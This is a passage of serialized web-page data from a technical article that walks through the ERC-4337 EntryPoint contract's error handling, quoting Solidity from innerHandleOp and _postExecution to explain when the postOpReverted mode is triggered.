_postExecution",{"type":24,"tag":271,"props":112224,"children":112225},{"style":288},[112226],{"type":29,"value":4028},{"type":24,"tag":271,"props":112228,"children":112229},{"class":273,"line":4674},[112230],{"type":24,"tag":271,"props":112231,"children":112232},{"style":288},[112233],{"type":29,"value":112234}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":271,"props":112236,"children":112237},{"class":273,"line":4683},[112238],{"type":24,"tag":271,"props":112239,"children":112240},{"style":288},[112241],{"type":29,"value":112242}," opInfo,\n",{"type":24,"tag":271,"props":112244,"children":112245},{"class":273,"line":4691},[112246],{"type":24,"tag":271,"props":112247,"children":112248},{"style":288},[112249],{"type":29,"value":112250}," context,\n",{"type":24,"tag":271,"props":112252,"children":112253},{"class":273,"line":4708},[112254],{"type":24,"tag":271,"props":112255,"children":112256},{"style":288},[112257],{"type":29,"value":112258}," actualGas\n",{"type":24,"tag":271,"props":112260,"children":112261},{"class":273,"line":4716},[112262],{"type":24,"tag":271,"props":112263,"children":112264},{"style":288},[112265],{"type":29,"value":112266}," );\n",{"type":24,"tag":271,"props":112268,"children":112269},{"class":273,"line":10423},[112270],{"type":24,"tag":271,"props":112271,"children":112272},{"style":288},[112273],{"type":29,"value":8554},{"type":24,"tag":271,"props":112275,"children":112276},{"class":273,"line":10431},[112277],{"type":24,"tag":271,"props":112278,"children":112279},{"style":288},[112280],{"type":29,"value":7574},{"type":24,"tag":271,"props":112282,"children":112283},{"class":273,"line":10439},[112284],{"type":24,"tag":271,"props":112285,"children":112286},{"style":288},[112287],{"type":29,"value":4385},{"type":24,"tag":25,"props":112289,"children":112290},{},[112291,112293,112298,112300,112306,112308,112314,112316,112322],{"type":29,"value":112292},"During execution, the ",{"type":24,"tag":135,"props":112294,"children":112296},{"className":112295},[],[112297],{"type":29,"value":109053},{"type":29,"value":112299}," contract makes a ",{"type":24,"tag":32,"props":112301,"children":112304},{"href":112302,"rel":112303},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[36],[112305],{"type":29,"value":45964},{"type":29,"value":112307}," to its own ",{"type":24,"tag":135,"props":112309,"children":112311},{"className":112310},[],[112312],{"type":29,"value":112313},"innerHandleOp",{"type":29,"value":112315}," function through a low-level ",{"type":24,"tag":135,"props":112317,"children":112319},{"className":112318},[],[112320],{"type":29,"value":112321},"call()",{"type":29,"value":112323},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":25,"props":112325,"children":112326},{},[112327,112329,112335,112336,112341,112343,112350,112352,112358],{"type":29,"value":112328},"If this call fails (when ",{"type":24,"tag":135,"props":112330,"children":112332},{"className":112331},[],[112333],{"type":29,"value":112334},"success",{"type":29,"value":13219},{"type":24,"tag":135,"props":112337,"children":112339},{"className":112338},[],[112340],{"type":29,"value":15890},{"type":29,"value":112342},"), the code enters an ",{"type":24,"tag":32,"props":112344,"children":112347},{"href":112345,"rel":112346},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[36],[112348],{"type":29,"value":112349},"error handling",{"type":29,"value":112351}," flow that checks the ",{"type":24,"tag":135,"props":112353,"children":112355},{"className":112354},[],[112356],{"type":29,"value":112357},"innerRevertCode",{"type":29,"value":112359},". There are three possible paths:",{"type":24,"tag":3834,"props":112361,"children":112362},{},[112363,112387,112405],{"type":24,"tag":101,"props":112364,"children":112365},{},[112366,112367,112372,112373,112379,112381,112386],{"type":29,"value":15196},{"type":24,"tag":135,"props":112368,"children":112370},{"className":112369},[],[112371],{"type":29,"value":112357},{"type":29,"value":13219},{"type":24,"tag":135,"props":112374,"children":112376},{"className":112375},[],[112377],{"type":29,"value":112378},"INNER_OUT_OF_GAS",{"type":29,"value":112380},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":135,"props":112382,"children":112384},{"className":112383},[],[112385],{"type":29,"value":112030},{"type":29,"value":41},{"type":24,"tag":101,"props":112388,"children":112389},{},[112390,112391,112396,112397,112403],{"type":29,"value":15196},{"type":24,"tag":135,"props":112392,"children":112394},{"className":112393},[],[112395],{"type":29,"value":112357},{"type":29,"value":13219},{"type":24,"tag":135,"props":112398,"children":112400},{"className":112399},[],[112401],{"type":29,"value":112402},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":112404},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":101,"props":112406,"children":112407},{},[112408,112410,112416,112418,112424],{"type":29,"value":112409},"For any other revert reason, the code will still call ",{"type":24,"tag":135,"props":112411,"children":112413},{"className":112412},[],[112414],{"type":29,"value":112415},"_postExecution()",{"type":29,"value":112417}," but with ",{"type":24,"tag":135,"props":112419,"children":112421},{"className":112420},[],[112422],{"type":29,"value":112423},"PostOpMode.postOpReverted",{"type":29,"value":112425},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":25,"props":112427,"children":112428},{},[112429,112431,112436,112438,112443,112445,112450,112452,112457],{"type":29,"value":112430},"We're particularly interested in the third error path, where ",{"type":24,"tag":135,"props":112432,"children":112434},{"className":112433},[],[112435],{"type":29,"value":112357},{"type":29,"value":112437}," is neither ",{"type":24,"tag":135,"props":112439,"children":112441},{"className":112440},[],[112442],{"type":29,"value":112378},{"type":29,"value":112444}," nor ",{"type":24,"tag":135,"props":112446,"children":112448},{"className":112447},[],[112449],{"type":29,"value":112402},{"type":29,"value":112451},". To understand this case better, let's examine how ",{"type":24,"tag":135,"props":112453,"children":112455},{"className":112454},[],[112456],{"type":29,"value":112313},{"type":29,"value":112458}," works.",{"type":24,"tag":261,"props":112460,"children":112462},{"className":12193,"code":112461,"language":12192,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[112463],{"type":24,"tag":135,"props":112464,"children":112465},{"__ignoreMap":7},[112466,112482,112503,112523,112539,112572,112579,112596,112620,112660,112679,112704,112738,112762,112779,112787,112795,112803,112811,112819,112826,112839,112856,112863,112870,112877,112888,112927,112943,112950],{"type":24,"tag":271,"props":112467,"children":112468},{"class":273,"line":274},[112469,112473,112478],{"type":24,"tag":271,"props":112470,"children":112471},{"style":278},[112472],{"type":29,"value":96621},{"type":24,"tag":271,"props":112474,"children":112475},{"style":598},[112476],{"type":29,"value":112477}," innerHandleOp",{"type":24,"tag":271,"props":112479,"children":112480},{"style":288},[112481],{"type":29,"value":4028},{"type":24,"tag":271,"props":112483,"children":112484},{"class":273,"line":284},[112485,112490,112494,112499],{"type":24,"tag":271,"props":112486,"children":112487},{"style":3887},[112488],{"type":29,"value":112489}," bytes",{"type":24,"tag":271,"props":112491,"children":112492},{"style":278},[112493],{"type":29,"value":109870},{"type":24,"tag":271,"props":112495,"children":112496},{"style":630},[112497],{"type":29,"value":112498}," callData",{"type":24,"tag":271,"props":112500,"children":112501},{"style":288},[112502],{"type":29,"value":638},{"type":24,"tag":271,"props":112504,"children":112505},{"class":273,"line":294},[112506,112510,112514,112519],{"type":24,"tag":271,"props":112507,"children":112508},{"style":278},[112509],{"type":29,"value":111530},{"type":24,"tag":271,"props":112511,"children":112512},{"style":278},[112513],{"type":29,"value":109870},{"type":24,"tag":271,"props":112515,"children":112516},{"style":630},[112517],{"type":29,"value":112518}," opInfo",{"type":24,"tag":271,"props":112520,"children":112521},{"style":288},[112522],{"type":29,"value":638},{"type":24,"tag":271,"props":112524,"children":112525},{"class":273,"line":303},[112526,112530,112534],{"type":24,"tag":271,"props":112527,"children":112528},{"style":3887},[112529],{"type":29,"value":112489},{"type":24,"tag":271,"props":112531,"children":112532},{"style":278},[112533],{"type":29,"value":109802},{"type":24,"tag":271,"props":112535,"children":112536},{"style":630},[112537],{"type":29,"value":112538}," context\n",{"type":24,"tag":271,"props":112540,"children":112541},{"class":273,"line":312},[112542,112547,112552,112556,112560,112564,112568],{"type":24,"tag":271,"props":112543,"children":112544},{"style":288},[112545],{"type":29,"value":112546}," ) ",{"type":24,"tag":271,"props":112548,"children":112549},{"style":278},[112550],{"type":29,"value":112551},"external",{"type":24,"tag":271,"props":112553,"children":112554},{"style":749},[112555],{"type":29,"value":82783},{"type":24,"tag":271,"props":112557,"children":112558},{"style":288},[112559],{"type":29,"value":1357},{"type":24,"tag":271,"props":112561,"children":112562},{"style":3887},[112563],{"type":29,"value":53835},{"type":24,"tag":271,"props":112565,"children":112566},{"style":630},[112567],{"type":29,"value":110611},{"type":24,"tag":271,"props":112569,"children":112570},{"style":288},[112571],{"type":29,"value":919},{"type":24,"tag":271,"props":112573,"children":112574},{"class":273,"line":321},[112575],{"type":24,"tag":271,"props":112576,"children":112577},{"style":288},[112578],{"type":29,"value":111591},{"type":24,"tag":271,"props":112580,"children":112581},{"class":273,"line":330},[112582,112587,112591],{"type":24,"tag":271,"props":112583,"children":112584},{"style":288},[112585],{"type":29,"value":112586}," IPaymaster.PostOpMode mode ",{"type":24,"tag":271,"props":112588,"children":112589},{"style":624},[112590],{"type":29,"value":762},{"type":24,"tag":271,"props":112592,"children":112593},{"style":288},[112594],{"type":29,"value":112595}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":271,"props":112597,"children":112598},{"class":273,"line":339},[112599,112603,112608,112612,112616],{"type":24,"tag":271,"props":112600,"children":112601},{"style":749},[112602],{"type":29,"value":7512},{"type":24,"tag":271,"props":112604,"children":112605},{"style":288},[112606],{"type":29,"value":112607}," (callData.length ",{"type":24,"tag":271,"props":112609,"children":112610},{"style":624},[112611],{"type":29,"value":18165},{"type":24,"tag":271,"props":112613,"children":112614},{"style":477},[112615],{"type":29,"value":767},{"type":24,"tag":271,"props":112617,"children":112618},{"style":288},[112619],{"type":29,"value":919},{"type":24,"tag":271,"props":112621,"children":112622},{"class":273,"line":347},[112623,112628,112633,112637,112642,112646,112651,112655],{"type":24,"tag":271,"props":112624,"children":112625},{"style":3887},[112626],{"type":29,"value":112627}," bool",{"type":24,"tag":271,"props":112629,"children":112630},{"style":288},[112631],{"type":29,"value":112632}," success ",{"type":24,"tag":271,"props":112634,"children":112635},{"style":624},[112636],{"type":29,"value":762},{"type":24,"tag":271,"props":112638,"children":112639},{"style":288},[112640],{"type":29,"value":112641}," Exec.",{"type":24,"tag":271,"props":112643,"children":112644},{"style":598},[112645],{"type":29,"value":45964},{"type":24,"tag":271,"props":112647,"children":112648},{"style":288},[112649],{"type":29,"value":112650},"(mUserOp.sender, ",{"type":24,"tag":271,"props":112652,"children":112653},{"style":477},[112654],{"type":29,"value":4121},{"type":24,"tag":271,"props":112656,"children":112657},{"style":288},[112658],{"type":29,"value":112659},", callData, callGasLimit);\n",{"type":24,"tag":271,"props":112661,"children":112662},{"class":273,"line":356},[112663,112667,112671,112675],{"type":24,"tag":271,"props":112664,"children":112665},{"style":749},[112666],{"type":29,"value":8468},{"type":24,"tag":271,"props":112668,"children":112669},{"style":288},[112670],{"type":29,"value":1357},{"type":24,"tag":271,"props":112672,"children":112673},{"style":624},[112674],{"type":29,"value":1818},{"type":24,"tag":271,"props":112676,"children":112677},{"style":288},[112678],{"type":29,"value":111963},{"type":24,"tag":271,"props":112680,"children":112681},{"class":273,"line":365},[112682,112686,112691,112695,112700],{"type":24,"tag":271,"props":112683,"children":112684},{"style":3887},[112685],{"type":29,"value":110250},{"type":24,"tag":271,"props":112687,"children":112688},{"style":288},[112689],{"type":29,"value":112690}," freePtr ",{"type":24,"tag":271,"props":112692,"children":112693},{"style":624},[112694],{"type":29,"value":762},{"type":24,"tag":271,"props":112696,"children":112697},{"style":598},[112698],{"type":29,"value":112699}," _getFreePtr",{"type":24,"tag":271,"props":112701,"children":112702},{"style":288},[112703],{"type":29,"value":4230},{"type":24,"tag":271,"props":112705,"children":112706},{"class":273,"line":374},[112707,112711,112715,112720,112724,112728,112733],{"type":24,"tag":271,"props":112708,"children":112709},{"style":3887},[112710],{"type":29,"value":111647},{"type":24,"tag":271,"props":112712,"children":112713},{"style":278},[112714],{"type":29,"value":109870},{"type":24,"tag":271,"props":112716,"children":112717},{"style":288},[112718],{"type":29,"value":112719}," result ",{"type":24,"tag":271,"props":112721,"children":112722},{"style":624},[112723],{"type":29,"value":762},{"type":24,"tag":271,"props":112725,"children":112726},{"style":288},[112727],{"type":29,"value":112641},{"type":24,"tag":271,"props":112729,"children":112730},{"style":598},[112731],{"type":29,"value":112732},"getReturnData",{"type":24,"tag":271,"props":112734,"children":112735},{"style":288},[112736],{"type":29,"value":112737},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":271,"props":112739,"children":112740},{"class":273,"line":384},[112741,112745,112750,112754,112758],{"type":24,"tag":271,"props":112742,"children":112743},{"style":749},[112744],{"type":29,"value":110310},{"type":24,"tag":271,"props":112746,"children":112747},{"style":288},[112748],{"type":29,"value":112749}," (result.length ",{"type":24,"tag":271,"props":112751,"children":112752},{"style":624},[112753],{"type":29,"value":18165},{"type":24,"tag":271,"props":112755,"children":112756},{"style":477},[112757],{"type":29,"value":767},{"type":24,"tag":271,"props":112759,"children":112760},{"style":288},[112761],{"type":29,"value":919},{"type":24,"tag":271,"props":112763,"children":112764},{"class":273,"line":393},[112765,112770,112775],{"type":24,"tag":271,"props":112766,"children":112767},{"style":749},[112768],{"type":29,"value":112769}," emit",{"type":24,"tag":271,"props":112771,"children":112772},{"style":598},[112773],{"type":29,"value":112774}," UserOperationRevertReason",{"type":24,"tag":271,"props":112776,"children":112777},{"style":288},[112778],{"type":29,"value":4028},{"type":24,"tag":271,"props":112780,"children":112781},{"class":273,"line":402},[112782],{"type":24,"tag":271,"props":112783,"children":112784},{"style":288},[112785],{"type":29,"value":112786}," opInfo.userOpHash,\n",{"type":24,"tag":271,"props":112788,"children":112789},{"class":273,"line":411},[112790],{"type":24,"tag":271,"props":112791,"children":112792},{"style":288},[112793],{"type":29,"value":112794}," mUserOp.sender,\n",{"type":24,"tag":271,"props":112796,"children":112797},{"class":273,"line":420},[112798],{"type":24,"tag":271,"props":112799,"children":112800},{"style":288},[112801],{"type":29,"value":112802}," mUserOp.nonce,\n",{"type":24,"tag":271,"props":112804,"children":112805},{"class":273,"line":429},[112806],{"type":24,"tag":271,"props":112807,"children":112808},{"style":288},[112809],{"type":29,"value":112810}," result\n",{"type":24,"tag":271,"props":112812,"children":112813},{"class":273,"line":438},[112814],{"type":24,"tag":271,"props":112815,"children":112816},{"style":288},[112817],{"type":29,"value":112818}," );\n",{"type":24,"tag":271,"props":112820,"children":112821},{"class":273,"line":447},[112822],{"type":24,"tag":271,"props":112823,"children":112824},{"style":288},[112825],{"type":29,"value":77859},{"type":24,"tag":271,"props":112827,"children":112828},{"class":273,"line":455},[112829,112834],{"type":24,"tag":271,"props":112830,"children":112831},{"style":598},[112832],{"type":29,"value":112833}," _restoreFreePtr",{"type":24,"tag":271,"props":112835,"children":112836},{"style":288},[112837],{"type":29,"value":112838},"(freePtr);\n",{"type":24,"tag":271,"props":112840,"children":112841},{"class":273,"line":464},[112842,112847,112851],{"type":24,"tag":271,"props":112843,"children":112844},{"style":288},[112845],{"type":29,"value":112846}," mode ",{"type":24,"tag":271,"props":112848,"children":112849},{"style":624},[112850],{"type":29,"value":762},{"type":24,"tag":271,"props":112852,"children":112853},{"style":288},[112854],{"type":29,"value":112855}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":271,"props":112857,"children":112858},{"class":273,"line":473},[112859],{"type":24,"tag":271,"props":112860,"children":112861},{"style":288},[112862],{"type":29,"value":8554},{"type":24,"tag":271,"props":112864,"children":112865},{"class":273,"line":483},[112866],{"type":24,"tag":271,"props":112867,"children":112868},{"style":288},[112869],{"type":29,"value":7574},{"type":24,"tag":271,"props":112871,"children":112872},{"class":273,"line":491},[112873],{"type":24,"tag":271,"props":112874,"children":112875},{"emptyLinePlaceholder":16},[112876],{"type":29,"value":327},{"type":24,"tag":271,"props":112878,"children":112879},{"class":273,"line":499},[112880,112884],{"type":24,"tag":271,"props":112881,"children":112882},{"style":749},[112883],{"type":29,"value":109906},{"type":24,"tag":271,"props":112885,"children":112886},{"style":288},[112887],{"type":29,"value":7145},{"type":24,"tag":271,"props":112889,"children":112890},{"class":273,"line":3188},[112891,112895,112899,112903,112907,112911,112915,112919,112923],{"type":24,"tag":271,"props":112892,"children":112893},{"style":3887},[112894],{"type":29,"value":109918},{"type":24,"tag":271,"props":112896,"children":112897},{"style":288},[112898],{"type":29,"value":112082},{"type":24,"tag":271,"props":112900,"children":112901},{"style":624},[112902],{"type":29,"value":762},{"type":24,"tag":271,"props":112904,"children":112905},{"style":288},[112906],{"type":29,"value":112091},{"type":24,"tag":271,"props":112908,"children":112909},{"style":624},[112910],{"type":29,"value":9821},{"type":24,"tag":271,"props":112912,"children":112913},{"style":278},[112914],{"type":29,"value":112100},{"type":24,"tag":271,"props":112916,"children":112917},{"style":288},[112918],{"type":29,"value":21742},{"type":24,"tag":271,"props":112920,"children":112921},{"style":624},[112922],{"type":29,"value":1012},{"type":24,"tag":271,"props":112924,"children":112925},{"style":288},[112926],{"type":29,"value":112113},{"type":24,"tag":271,"props":112928,"children":112929},{"class":273,"line":3247},[112930,112934,112938],{"type":24,"tag":271,"props":112931,"children":112932},{"style":749},[112933],{"type":29,"value":85866},{"type":24,"tag":271,"props":112935,"children":112936},{"style":598},[112937],{"type":29,"value":112222},{"type":24,"tag":271,"props":112939,"children":112940},{"style":288},[112941],{"type":29,"value":112942},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":271,"props":112944,"children":112945},{"class":273,"line":3255},[112946],{"type":24,"tag":271,"props":112947,"children":112948},{"style":288},[112949],{"type":29,"value":7574},{"type":24,"tag":271,"props":112951,"children":112952},{"class":273,"line":3263},[112953],{"type":24,"tag":271,"props":112954,"children":112955},{"style":288},[112956],{"type":29,"value":4385},{"type":24,"tag":25,"props":112958,"children":112959},{},[112960,112962,112967,112969,112974,112976,112982,112984,112990,112992,112997,112999,113009],{"type":29,"value":112961},"We observe that, in the happy path, ",{"type":24,"tag":135,"props":112963,"children":112965},{"className":112964},[],[112966],{"type":29,"value":112313},{"type":29,"value":112968}," is expected to not only execute the actual ",{"type":24,"tag":135,"props":112970,"children":112972},{"className":112971},[],[112973],{"type":29,"value":108972},{"type":29,"value":112975}," call, but also call ",{"type":24,"tag":135,"props":112977,"children":112979},{"className":112978},[],[112980],{"type":29,"value":112981},"_postExecution",{"type":29,"value":112983},". This means that the third failure handling path, which passes ",{"type":24,"tag":135,"props":112985,"children":112987},{"className":112986},[],[112988],{"type":29,"value":112989},"postOpReverted",{"type":29,"value":112991}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":135,"props":112993,"children":112995},{"className":112994},[],[112996],{"type":29,"value":112981},{"type":29,"value":112998}," call ",{"type":24,"tag":213,"props":113000,"children":113001},{},[113002,113004],{"type":29,"value":113003},"inside ",{"type":24,"tag":135,"props":113005,"children":113007},{"className":113006},[],[113008],{"type":29,"value":112313},{"type":29,"value":41},{"type":24,"tag":25,"props":113011,"children":113012},{},[113013,113015,113020],{"type":29,"value":113014},"Let's examine the ",{"type":24,"tag":135,"props":113016,"children":113018},{"className":113017},[],[113019],{"type":29,"value":112981},{"type":29,"value":113021}," code to understand where the revert might occur.",{"type":24,"tag":261,"props":113023,"children":113025},{"className":12193,"code":113024,"language":12192,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[113026],{"type":24,"tag":135,"props":113027,"children":113028},{"__ignoreMap":7},[113029,113044,113069,113088,113107,113119,113156,113163,113195,113212,113227,113243,113267,113292,113316,113338,113356,113373,113381,113399,113415,113448,113466,113473,113480,113488,113504,113536,113558,113565,113572,113579],{"type":24,"tag":271,"props":113030,"children":113031},{"class":273,"line":274},[113032,113036,113040],{"type":24,"tag":271,"props":113033,"children":113034},{"style":278},[113035],{"type":29,"value":96621},{"type":24,"tag":271,"props":113037,"children":113038},{"style":598},[113039],{"type":29,"value":112222},{"type":24,"tag":271,"props":113041,"children":113042},{"style":288},[113043],{"type":29,"value":4028},{"type":24,"tag":271,"props":113045,"children":113046},{"class":273,"line":284},[113047,113052,113056,113060,113065],{"type":24,"tag":271,"props":113048,"children":113049},{"style":278},[113050],{"type":29,"value":113051}," IPaymaster",{"type":24,"tag":271,"props":113053,"children":113054},{"style":288},[113055],{"type":29,"value":41},{"type":24,"tag":271,"props":113057,"children":113058},{"style":630},[113059],{"type":29,"value":110582},{"type":24,"tag":271,"props":113061,"children":113062},{"style":630},[113063],{"type":29,"value":113064}," mode",{"type":24,"tag":271,"props":113066,"children":113067},{"style":288},[113068],{"type":29,"value":638},{"type":24,"tag":271,"props":113070,"children":113071},{"class":273,"line":294},[113072,113076,113080,113084],{"type":24,"tag":271,"props":113073,"children":113074},{"style":278},[113075],{"type":29,"value":111530},{"type":24,"tag":271,"props":113077,"children":113078},{"style":278},[113079],{"type":29,"value":109870},{"type":24,"tag":271,"props":113081,"children":113082},{"style":630},[113083],{"type":29,"value":112518},{"type":24,"tag":271,"props":113085,"children":113086},{"style":288},[113087],{"type":29,"value":638},{"type":24,"tag":271,"props":113089,"children":113090},{"class":273,"line":303},[113091,113095,113099,113103],{"type":24,"tag":271,"props":113092,"children":113093},{"style":3887},[113094],{"type":29,"value":112489},{"type":24,"tag":271,"props":113096,"children":113097},{"style":278},[113098],{"type":29,"value":109870},{"type":24,"tag":271,"props":113100,"children":113101},{"style":630},[113102],{"type":29,"value":83130},{"type":24,"tag":271,"props":113104,"children":113105},{"style":288},[113106],{"type":29,"value":638},{"type":24,"tag":271,"props":113108,"children":113109},{"class":273,"line":312},[113110,113114],{"type":24,"tag":271,"props":113111,"children":113112},{"style":3887},[113113],{"type":29,"value":96799},{"type":24,"tag":271,"props":113115,"children":113116},{"style":630},[113117],{"type":29,"value":113118}," actualGas\n",{"type":24,"tag":271,"props":113120,"children":113121},{"class":273,"line":321},[113122,113126,113131,113136,113140,113144,113148,113152],{"type":24,"tag":271,"props":113123,"children":113124},{"style":288},[113125],{"type":29,"value":112546},{"type":24,"tag":271,"props":113127,"children":113128},{"style":278},[113129],{"type":29,"value":113130},"internal",{"type":24,"tag":271,"props":113132,"children":113133},{"style":278},[113134],{"type":29,"value":113135}," virtual",{"type":24,"tag":271,"props":113137,"children":113138},{"style":749},[113139],{"type":29,"value":82783},{"type":24,"tag":271,"props":113141,"children":113142},{"style":288},[113143],{"type":29,"value":1357},{"type":24,"tag":271,"props":113145,"children":113146},{"style":3887},[113147],{"type":29,"value":53835},{"type":24,"tag":271,"props":113149,"children":113150},{"style":630},[113151],{"type":29,"value":110611},{"type":24,"tag":271,"props":113153,"children":113154},{"style":288},[113155],{"type":29,"value":919},{"type":24,"tag":271,"props":113157,"children":113158},{"class":273,"line":330},[113159],{"type":24,"tag":271,"props":113160,"children":113161},{"style":288},[113162],{"type":29,"value":111591},{"type":24,"tag":271,"props":113164,"children":113165},{"class":273,"line":339},[113166,113170,113175,113179,113183,113187,113191],{"type":24,"tag":271,"props":113167,"children":113168},{"style":749},[113169],{"type":29,"value":8468},{"type":24,"tag":271,"props":113171,"children":113172},{"style":288},[113173],{"type":29,"value":113174}," (paymaster ",{"type":24,"tag":271,"props":113176,"children":113177},{"style":624},[113178],{"type":29,"value":5059},{"type":24,"tag":271,"props":113180,"children":113181},{"style":3887},[113182],{"type":29,"value":13967},{"type":24,"tag":271,"props":113184,"children":113185},{"style":288},[113186],{"type":29,"value":606},{"type":24,"tag":271,"props":113188,"children":113189},{"style":477},[113190],{"type":29,"value":4121},{"type":24,"tag":271,"props":113192,"children":113193},{"style":288},[113194],{"type":29,"value":2317},{"type":24,"tag":271,"props":113196,"children":113197},{"class":273,"line":347},[113198,113203,113207],{"type":24,"tag":271,"props":113199,"children":113200},{"style":288},[113201],{"type":29,"value":113202}," refundAddress ",{"type":24,"tag":271,"props":113204,"children":113205},{"style":624},[113206],{"type":29,"value":762},{"type":24,"tag":271,"props":113208,"children":113209},{"style":288},[113210],{"type":29,"value":113211}," mUserOp.sender;\n",{"type":24,"tag":271,"props":113213,"children":113214},{"class":273,"line":356},[113215,113219,113223],{"type":24,"tag":271,"props":113216,"children":113217},{"style":288},[113218],{"type":29,"value":77382},{"type":24,"tag":271,"props":113220,"children":113221},{"style":749},[113222],{"type":29,"value":11044},{"type":24,"tag":271,"props":113224,"children":113225},{"style":288},[113226],{"type":29,"value":7145},{"type":24,"tag":271,"props":113228,"children":113229},{"class":273,"line":365},[113230,113234,113238],{"type":24,"tag":271,"props":113231,"children":113232},{"style":288},[113233],{"type":29,"value":113202},{"type":24,"tag":271,"props":113235,"children":113236},{"style":624},[113237],{"type":29,"value":762},{"type":24,"tag":271,"props":113239,"children":113240},{"style":288},[113241],{"type":29,"value":113242}," paymaster;\n",{"type":24,"tag":271,"props":113244,"children":113245},{"class":273,"line":374},[113246,113250,113255,113259,113263],{"type":24,"tag":271,"props":113247,"children":113248},{"style":749},[113249],{"type":29,"value":110310},{"type":24,"tag":271,"props":113251,"children":113252},{"style":288},[113253],{"type":29,"value":113254}," (context.length ",{"type":24,"tag":271,"props":113256,"children":113257},{"style":624},[113258],{"type":29,"value":18165},{"type":24,"tag":271,"props":113260,"children":113261},{"style":477},[113262],{"type":29,"value":767},{"type":24,"tag":271,"props":113264,"children":113265},{"style":288},[113266],{"type":29,"value":919},{"type":24,"tag":271,"props":113268,"children":113269},{"class":273,"line":384},[113270,113275,113279,113283,113287],{"type":24,"tag":271,"props":113271,"children":113272},{"style":288},[113273],{"type":29,"value":113274}," actualGasCost ",{"type":24,"tag":271,"props":113276,"children":113277},{"style":624},[113278],{"type":29,"value":762},{"type":24,"tag":271,"props":113280,"children":113281},{"style":288},[113282],{"type":29,"value":112082},{"type":24,"tag":271,"props":113284,"children":113285},{"style":624},[113286],{"type":29,"value":627},{"type":24,"tag":271,"props":113288,"children":113289},{"style":288},[113290],{"type":29,"value":113291}," gasPrice;\n",{"type":24,"tag":271,"props":113293,"children":113294},{"class":273,"line":393},[113295,113299,113304,113308,113312],{"type":24,"tag":271,"props":113296,"children":113297},{"style":3887},[113298],{"type":29,"value":110267},{"type":24,"tag":271,"props":113300,"children":113301},{"style":288},[113302],{"type":29,"value":113303}," postOpPreGas ",{"type":24,"tag":271,"props":113305,"children":113306},{"style":624},[113307],{"type":29,"value":762},{"type":24,"tag":271,"props":113309,"children":113310},{"style":278},[113311],{"type":29,"value":112100},{"type":24,"tag":271,"props":113313,"children":113314},{"style":288},[113315],{"type":29,"value":4230},{"type":24,"tag":271,"props":113317,"children":113318},{"class":273,"line":402},[113319,113324,113329,113333],{"type":24,"tag":271,"props":113320,"children":113321},{"style":749},[113322],{"type":29,"value":113323}," if",{"type":24,"tag":271,"props":113325,"children":113326},{"style":288},[113327],{"type":29,"value":113328}," (mode ",{"type":24,"tag":271,"props":113330,"children":113331},{"style":624},[113332],{"type":29,"value":23386},{"type":24,"tag":271,"props":113334,"children":113335},{"style":288},[113336],{"type":29,"value":113337}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":271,"props":113339,"children":113340},{"class":273,"line":411},[113341,113346,113351],{"type":24,"tag":271,"props":113342,"children":113343},{"style":749},[113344],{"type":29,"value":113345}," try",{"type":24,"tag":271,"props":113347,"children":113348},{"style":598},[113349],{"type":29,"value":113350}," IPaymaster",{"type":24,"tag":271,"props":113352,"children":113353},{"style":288},[113354],{"type":29,"value":113355},"(paymaster).postOp{\n",{"type":24,"tag":271,"props":113357,"children":113358},{"class":273,"line":420},[113359,113364,113368],{"type":24,"tag":271,"props":113360,"children":113361},{"style":288},[113362],{"type":29,"value":113363}," gas",{"type":24,"tag":271,"props":113365,"children":113366},{"style":624},[113367],{"type":29,"value":12210},{"type":24,"tag":271,"props":113369,"children":113370},{"style":288},[113371],{"type":29,"value":113372}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":271,"props":113374,"children":113375},{"class":273,"line":429},[113376],{"type":24,"tag":271,"props":113377,"children":113378},{"style":288},[113379],{"type":29,"value":113380}," }(mode, context, actualGasCost, 